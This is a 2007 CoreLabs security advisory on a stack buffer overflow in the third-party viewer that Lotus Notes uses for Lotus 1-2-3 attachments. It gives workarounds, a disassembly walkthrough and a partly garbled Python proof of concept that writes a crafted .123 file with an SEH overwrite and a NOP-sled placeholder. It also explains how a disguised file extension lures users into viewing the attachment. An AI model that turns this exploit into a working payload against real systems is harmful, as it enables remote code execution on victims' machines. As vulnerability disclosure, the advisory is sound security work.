Lotus Notes buffer overflow in the Lotus WorkSheet file processor
Core Security Technologies - CoreLabs Advisory
Title: Lotus Notes buffer overflow in the Lotus WorkSheet file processor
Advisory ID: CORE-2007-0821
Date published: 2007-11-27
Date of last update: 2007-11-27
Vendors contacted: IBM Corp.
Release mode: COORDINATED RELEASE
Lotus Notes is the integrated email, calendar, instant messenger, browser and business collaboration application developed by IBM to work as a desktop client in conjunction with IBM’s Lotus Domino server application.
The email functionality of Lotus Notes supports previewing and processing file attachments in various formats. To preview and process files in the Lotus Worksheet File format (WKS) used by Lotus 1-2-3 the email client uses a library from a third-party software vendor (Autonomy’s Verity KeyView SDK). Several buffer overflow vulnerabilities were found in the third-party library used by Lotus Notes to process Lotus 1-2-3 file attachments.
These vulnerabilities could allow attackers to remotely execute arbitrary commands on vulnerable systems by attaching a specially crafted file that triggers exploitation when unsuspecting users attempt to “View” the attachment. Exploitation of these vulnerabilities requires user intervention.
Although these specific vulnerabilities exist on a third–party component the problem is compound by the way Lotus Notes displays information about attachments, making it easier to elicit unsuspecting assistance from the users to exploit them. Lotus Notes displays the file type and corresponding icon based on the attached file’s extension rather than the MIME Content-Type header in the email whereas the view functionality is handled by the Verity KeyView component which processes the attachment based on the file contents. Exploitation of these vulnerabilities requires end-user interaction but the discrepancy described above could allow an attacker to send a malicious Lotus 1-2-3 file as an attachment with a seemingly innocuous extension (for example, .JPG or .GIF) that more easily lure users into viewing it thus making it easier to succeed in the exploitation attempt.
These vulnerabilities have been discovered and tested using Lotus Notes and the Verity KeyView SDK components it uses but other applications that use the Verity KeyView SDK may be also vulnerable.
Lotus Notes customers should follow the instructions of the following support Technote, which outlines the available options based on specific versions of Lotus Notes: http://www.ibm.com/support/docview.wss?rs=475&uid=swg21285600
Workaround 1: Delete the keyview.ini file in the Notes program directory. This disables ALL viewers. When a user clicks View (for any file), a dialog box will display with the message "Unable to locate the viewer configuration file.".
Workaround 2: Delete the problem file l123sr.dll file. When a user tries to view the specific file type, a dialog box will display with the message "The viewer display window could not be initialized." All other file types work without returning the error message.
Workaround 3: Comment out specific lines in keyview.ini for any references to the problem file (l123sr.dll). To comment a line, you precede it with a semi-colon (;). When a user tries to view the specific file type, a dialog box will display with the message "The viewer display window could not be initialized". For example:
[KVWKBVE] ;126.96.36.199.0=l123sr.dll ;188.8.131.52.0=l123sr.dll
Workaround 4: Filter inbound emails with attachments with potentially malicious files. Lotus 1-2-3 files are usually associated to MIME Content-Type headers set to the following strings:
application/lotus-1-2-3 application/lotus123 application/x-lotus123 application/wks application/x-wks application/vnd.lotus-1-2-3
Note however that workaround #4 is a simple stop gap measure that could be circumvented by relatively unsophisticated attackers.
This vulnerability was discovered by Sebastián Muñiz from the CORE IMPACT Exploit Writers Team (EWT).
Lotus 1-2-3 and Lotus Symphony spreadsheet applications use the Worksheet File format  to persist spreadsheet data on the file system. Lotus Notes uses a third-party library  to process file attachments in the Lotus Worksheet File format (WKS).
A worksheet file in WKS format is simply a binary representation of the spreadsheet built using a sequence of binary records in the TLV form (Type-Length-Value) where both Type and Length are encoded using two bytes.
There are multiple vulnerabilities in the way the Verity KeyView SDK DLL processes the TLV records of a worksheet file. These vulnerabilities stem from lack of proper consistency checks for the stated Length and the corresponding Value in several record Types.
As an specific example for records of type SRANGE (0x001b) which can specify arbitrary lengths of data that the library attempt to copy in to a fixed length buffer in the stack is shown in following disassembled code:
.text:02A87FD4 cmp eax, 1Bh .text:02A87FD7 jz loc_2A881C9 ... .text:02A881DC lea eax, [ebp+szVulnerableBuffer] .text:02A881E2 push edi ; length of read operation, taken from the file .text:02A881E3 push eax ; stack based buffer .text:02A881E4 mov eax, [ebp+0Ch] .text:02A881E7 push eax .text:02A881E8 call dword ptr [eax+24h] ; read function!
When a field of type SRANGE (0x001b) is read the conditional jump at 0x02A87FD7 (jz 0x2A881C9) is taken. The destination buffer is cleared and the Length value for this record is read to
At address 0x2A881E2 edi (containing the Length of the TLV record) is pushed and then the read operation takes place at address 0x2A881E8 reading an arbitrary amount of bytes into a fixed size buffer in the stack. Thus a malicious Worksheet file can trigger execution of arbitrary code on vulnerable systems by exploiting the vulnerability using one of the appropriate exploitation techniques for stack-based buffer overflows.
However, exploitation on a Lotus Notes email client requires that the user attempts to view the attached file following this steps:
Unfortunately, users can be lured into performing the steps above due to the fact that it is possible to send a malicious attachment with a seemingly innocuous file name and extension such and have the Lotus Note client show a graphic icon for the attachment that corresponds to the filename extension and not to the actual contents of the file.
Proof of concept snippets
The following snippet of Python code generates a .123 file that triggers the bug when it is processed by vulnerable versions of the library. The proof-of-concept file will only trigger an exception for debugging purposes (int 3) but it makes it evident that exploitation of the bug in order to execute any arbitrary code is possible.
from sys import argv from struct import pack def createMaliciousFile(filename): seh_offset = 0x9c4 jumper = 0x06ad890d # pop pop ret ... CHANGE IT! (dll is rebased) shellcode = '\x90' * 0x400 + '\xCC' # nopsled and int 3 content = '\x00\x00' # header record type content += '\x1a\x00' # header length content += '\x05\x10\x04\x00\x00\x00\x00\x00\x09\x00\x00\x01' # header body and other stuff content += '\x01\x00\x30\x8d\x01\x0a\x00\x00\x00\x00\x00\x00\x00\x00' # continuation content += '\x1b\x00' # vulnerable record type payload = '' payload += '\x90' * (seh_offset - 4) # here we could use any other random chars payload += '\xeb\x06\x90\x90' # jmp six bytes forward payload += pack('<l', jumper)="" payload="" +="shellcode" content="" len(payload))="" fd="open(filename," 'wb')="" fd.write(content)="" fd.close()="" if="" len(argv)="" is="" not="" 2:="" print="" '[-]="" must="" specify="" a="" filename.="" remember="" to="" change="" the="" pop="" ret="" address!="" :)'="" else:="" createmaliciousfile(argv)="" <="" pre="">
 Lotus Staff, Worksheet File Formats, Addison-Wesley Longman Publishing Co., Inc., Boston, MA, 1987.
 Verity KeyView SDK: <http://www.verity.com/content/Products/KeyView/>
 Client-side vulnerabilities disclosed in Lotus Notes on October 23rd, 2007
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: <http://www.coresecurity.com/corelabs/>
Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at <http://www.coresecurity.com>.
The contents of this advisory are copyright (c) 2007 CORE Security Technologies and (c) 2007 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at /legacy/files/attachments/core_security_advisories.asc